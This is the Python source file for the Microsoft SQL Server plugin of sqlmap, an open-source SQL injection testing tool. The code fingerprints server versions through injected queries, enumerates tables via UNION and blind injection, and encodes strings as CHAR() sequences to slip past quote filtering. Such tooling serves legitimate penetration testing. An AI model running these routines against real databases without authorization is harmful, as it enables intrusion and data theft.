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Bernardo Damele
271
plugins/dbms/mssqlserver.py
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271
plugins/dbms/mssqlserver.py
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#!/usr/bin/env python
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"""
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$Id: mssqlserver.py 286 2008-07-25 23:09:48Z inquisb $
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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and Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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import time
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from lib.core.agent import agent
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from lib.core.common import dataToStdout
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from lib.core.common import formatFingerprint
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from lib.core.common import getHtmlErrorFp
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from lib.core.common import randomInt
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from lib.core.common import readInput
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import paths
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from lib.core.data import queries
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from lib.core.exception import sqlmapNoneDataException
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from lib.core.exception import sqlmapSyntaxException
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from lib.core.session import setDbms
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from lib.core.settings import MSSQL_ALIASES
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from lib.core.unescaper import unescaper
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from lib.parse.banner import bannerParser
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from lib.request import inject
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from lib.request.connect import Connect as Request
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#from lib.utils.fuzzer import passiveFuzzing
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from plugins.generic.enumeration import Enumeration
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from plugins.generic.filesystem import Filesystem
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from plugins.generic.fingerprint import Fingerprint
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from plugins.generic.takeover import Takeover
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class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
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"""
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This class defines Microsoft SQL Server methods
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"""
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def __init__(self):
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Enumeration.__init__(self, "Microsoft SQL Server")
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unescaper.setUnescape(MSSQLServerMap.unescape)
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@staticmethod
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def unescape(expression):
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while True:
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index = expression.find("'")
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if index == -1:
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break
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firstIndex = index + 1
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index = expression[firstIndex:].find("'")
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if index == -1:
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raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
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lastIndex = firstIndex + index
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old = "'%s'" % expression[firstIndex:lastIndex]
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#unescaped = ""
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unescaped = "("
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for i in range(firstIndex, lastIndex):
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unescaped += "CHAR(%d)" % (ord(expression[i]))
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if i < lastIndex - 1:
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unescaped += "+"
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unescaped += ")"
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expression = expression.replace(old, unescaped)
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return expression
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@staticmethod
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def escape(expression):
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while True:
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index = expression.find("CHAR(")
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if index == -1:
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break
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firstIndex = index
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index = expression[firstIndex:].find("))")
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if index == -1:
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raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
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lastIndex = firstIndex + index + 1
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old = expression[firstIndex:lastIndex]
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oldUpper = old.upper()
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oldUpper = oldUpper.replace("CHAR(", "").replace(")", "")
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oldUpper = oldUpper.split("+")
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escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
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expression = expression.replace(old, escaped)
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return expression
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def getFingerprint(self):
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actVer = formatFingerprint()
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if not conf.extensiveFp:
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return actVer
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blank = " " * 16
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value = "active fingerprint: %s" % actVer
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if self.banner:
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release, version, servicepack = bannerParser(self.banner, paths.MSSQL_XML)
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if release and version and servicepack:
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banVer = "Microsoft SQL Server %s " % release
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banVer += "Service Pack %s " % servicepack
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banVer += "version %s" % version
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value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
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#passiveFuzzing()
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htmlParsed = getHtmlErrorFp()
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if htmlParsed:
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value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
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return value
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def checkDbms(self):
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if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
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setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
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if not conf.extensiveFp:
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return True
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logMsg = "testing Microsoft SQL Server"
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logger.info(logMsg)
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randInt = str(randomInt(1))
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query = "LTRIM(STR(LEN(%s)))" % randInt
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if inject.getValue(query) == "1":
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query = "SELECT SUBSTRING((@@VERSION), 25, 1)"
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version = inject.getValue(query)
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if version == "8":
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kb.dbmsVersion = ["2008"]
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elif version == "5":
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kb.dbmsVersion = ["2005"]
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elif version == "0":
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kb.dbmsVersion = ["2000"]
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if kb.dbmsVersion:
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setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
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else:
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setDbms("Microsoft SQL Server")
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if not conf.extensiveFp:
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return True
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if conf.getBanner:
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self.banner = inject.getValue("@@VERSION")
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return True
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else:
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warnMsg = "the back-end DMBS is not Microsoft SQL Server"
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logger.warn(warnMsg)
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return False
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def getPrivileges(self):
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warnMsg = "this plugin can not fetch database users privileges"
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logger.warn(warnMsg)
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return {}
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def getTables(self):
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logMsg = "fetching tables"
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if conf.db:
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logMsg += " for database '%s'" % conf.db
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logger.info(logMsg)
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rootQuery = queries[kb.dbms].tables
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if not conf.db:
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if not len(self.cachedDbs):
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dbs = self.getDbs()
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else:
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dbs = self.cachedDbs
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else:
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if "," in conf.db:
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dbs = conf.db.split(",")
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else:
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dbs = [conf.db]
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if conf.unionUse:
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for db in dbs:
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if conf.excludeSysDbs and db in self.excludeDbsList:
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logMsg = "skipping system database '%s'" % db
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logger.info(logMsg)
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continue
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query = rootQuery["inband"]["query"] % db
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value = inject.getValue(query, blind=False)
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if value:
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self.cachedTables[db] = value
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if not self.cachedTables:
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for db in dbs:
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if conf.excludeSysDbs and db in self.excludeDbsList:
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logMsg = "skipping system database '%s'" % db
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logger.info(logMsg)
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continue
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logMsg = "fetching number of tables for "
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logMsg += "database '%s'" % db
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logger.info(logMsg)
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query = rootQuery["blind"]["count"] % db
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count = inject.getValue(query, inband=False)
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if not len(count) or count == "0":
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warnMsg = "unable to retrieve the number of "
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warnMsg += "tables for database '%s'" % db
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logger.warn(warnMsg)
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continue
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tables = []
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for index in range(int(count)):
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query = rootQuery["blind"]["query"] % (db, index, db)
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table = inject.getValue(query, inband=False)
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tables.append(table)
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if tables:
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self.cachedTables[db] = tables
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else:
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warnMsg = "unable to retrieve the tables "
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warnMsg += "for database '%s'" % db
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logger.warn(warnMsg)
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if not self.cachedTables:
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errMsg = "unable to retrieve the tables for any database"
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raise sqlmapNoneDataException, errMsg
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return self.cachedTables
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